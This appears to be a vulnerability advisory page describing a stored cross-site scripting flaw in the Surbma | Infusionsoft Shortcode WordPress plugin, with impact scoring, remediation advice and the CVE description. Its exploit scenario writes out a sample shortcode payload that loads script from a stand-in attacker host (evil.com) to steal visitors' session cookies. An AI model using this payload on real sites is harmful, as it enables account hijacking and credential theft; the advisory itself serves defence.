Exploitation Conditions

Exploitation requires an authenticated WordPress account with contributor role or higher (Contributor, Author, Editor, or Administrator). The attacker must have the ability to create or edit posts that render the [infusionsoft-form] shortcode, and the Surbma | Infusionsoft Shortcode plugin must be installed and activated on the target site running version 2.0.1 or earlier. Exploitation is limited by the contributor-access prerequisite: sites where all contributors are fully trusted, or where the plugin is not used in contributor-editable content areas, face substantially lower real-world risk. The stored payload executes in any visitor's browser upon page load - no special victim configuration is required.

Impact

The CVSS 3.1 base score of 6.4 (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N) reflects network exploitability with low complexity and scope change. However, the UI:N metric in the provided vector is questionable for stored XSS: a victim must actively visit the injected page for the payload to execute, which typically warrants UI:R. This discrepancy should be verified against the scorer's methodology. The requirement for contributor-level (PR:L) authentication is the primary real-world risk limiter - this is not an unauthenticated attack surface. EPSS data was not provided; without it, exploitation probability cannot be quantified. No CISA KEV entry exists, and no public exploit or POC has been identified, further moderating urgency. The scope change (S:C) is legitimate: successful exploitation targets visitors' browsers, enabling session hijacking, credential phishing, or defacement against any user viewing affected posts. For sites where multiple contributors are trusted, this represents a meaningful privilege-escalation-to-persistent-XSS vector, but the contributor-access prerequisite substantially narrows the realistic attacker population compared to unauthenticated vulnerabilities.

Exploit ScenarioDerived

An attacker with contributor-level WordPress credentials creates or edits a post or page and inserts the [infusionsoft-form account='evil.com/payload.js?x=' id='1'] shortcode, causing the plugin to render a <script src='https://evil.com/payload.js?x=1'></script> tag in the page HTML. When any site visitor - including administrators - loads that page, their browser fetches and executes the attacker's JavaScript, enabling session cookie theft, credential harvesting via injected login forms, or further exploitation. No public POC has been identified at time of analysis.

AnalysisAIv1 – Jun 27, 2026

Stored Cross-Site Scripting in the Surbma | Infusionsoft Shortcode WordPress plugin (versions ≤ 2.0.1) allows authenticated contributors to inject persistent malicious scripts that execute in any visitor's browser. The flaw originates in the surbma_infusionsoft_shortcode_shortcode() function, where the 'account' and 'id' shortcode attributes are concatenated without sanitization directly into a <script> tag's src attribute - a particularly dangerous injection point because it bypasses many output-escaping checks that target HTML attribute or element contexts. No public exploit code has been identified at time of analysis, and no CISA KEV listing is present.

RemediationAI

Upstream fix commits are documented in the WordPress plugin trac changesets referenced in the CVE record, indicating the vulnerability has been addressed in a post-2.0.1 release; however, an exact patched version number is not independently confirmed from the available data - check the WordPress.org plugin page for the latest release and apply it immediately. As an interim workaround, site administrators should revoke or audit contributor-level accounts to prevent untrusted users from inserting the [infusionsoft-form] shortcode, or disable the plugin entirely until a verified patched version is installed. The WordPress Content Security Policy (CSP) header, if configured to block inline and dynamic script sources, would mitigate the impact of the injected script src but does not remove the root cause. Note that restricting contributor access may affect legitimate editorial workflows.

Technical ContextAI · show details

The affected code is a WordPress shortcode handler plugin designed to embed Infusionsoft (now Keap) web forms via a <script> tag whose src URL is dynamically built from user-supplied shortcode attributes. CWE-79 (Improper Neutralization of Input During Web Page Generation - XSS) applies: the root cause is that the 'account' and 'id' parameters passed to [infusionsoft-form] are passed through the surbma_infusionsoft_shortcode_shortcode() function and written verbatim into a <script src='...'> tag in generated page HTML, with no escaping or allowlist validation. Because the injection point is a script src attribute, an attacker can point it to an attacker-controlled domain delivering arbitrary JavaScript rather than the intended Infusionsoft snippet. The CPE identifier is cpe:2.3:a:surbma:surbma_|_infusionsoft_shortcode:*:*:*:*:*:*:*:*, covering all versions through 2.0.1. Affected code lines are documented at the WordPress plugin trac repository at lines 31 and 35 of the 2.0 tag.

DescriptionCVE.org

The Surbma | Infusionsoft Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'infusionsoft-form' shortcode in versions up to, and including, 2.0.1. This is due to insufficient input sanitization and output escaping on user-supplied 'account' and 'id' shortcode attributes in the surbma_infusionsoft_shortcode_shortcode() function, which are concatenated directly into a <script> tag's src attribute. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
